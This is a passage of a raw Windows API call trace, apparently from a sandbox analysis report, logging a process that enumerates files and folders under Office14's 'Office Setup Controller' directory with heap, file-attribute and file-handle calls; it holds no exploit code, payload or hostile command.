fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.909] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.909] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0050.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.909] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeea0c0 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeedac8 [0050.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.910] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee648 [0050.910] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeedbd0 [0050.910] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.910] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.910] GetLastError () returned 0x12 [0050.910] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.910] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.910] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.910] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="")) returned 1 [0050.910] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.910] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0050.910] GetLastError () returned 0x12 [0050.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.911] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.911] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.911] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0050.911] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0050.911] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0050.966] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeeee30 [0050.967] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeeee30, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeeee30, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeee30) returned 1 [0050.967] NtClose (Handle=0x178) returned 0x0 [0050.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.967] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.967] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.967] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee668 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeedcd8 [0050.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.967] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0050.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee688 [0050.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeedde0 [0050.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.968] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0050.968] GetLastError () returned 0x12 [0050.968] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.968] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0050.968] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.968] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.968] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0050.968] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0050.968] GetLastError () returned 0x12 [0050.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb180) returned 1 [0050.968] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb288) returned 1 [0050.968] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.968] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0050.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.968] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), fInfoLevelId=0x0, lpFileInformation=0x17ae8cc | out: lpFileInformation=0x17ae8cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.969] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0050.969] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17ae910, lpLastWriteTime=0x17ae910) returned 0 [0050.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xeeee30 [0050.969] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xeeee30, nOutBufferSize=0x4000, lpBytesReturned=0x17ae968, lpOverlapped=0x0 | out: lpOutBuffer=0xeeee30, lpBytesReturned=0x17ae968, lpOverlapped=0x0) returned 0 [0050.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeee30) returned 1 [0050.969] NtClose (Handle=0x174) returned 0x0 [0050.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeeb078) returned 1 [0050.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0050.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb078 [0050.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb288 [0050.969] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459c78 [0050.969] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.969] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0050.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.969] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeb180 [0050.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee6a8 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeedee8 [0050.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.970] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xeee6c8 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeeee48 [0050.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x580) returned 0xef0e30 [0050.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeee0e8) returned 1 [0050.970] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0050.970] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0050.970] GetLastError () returned 0x12 [0050.970] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0050.970] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0050.970] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.970] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, 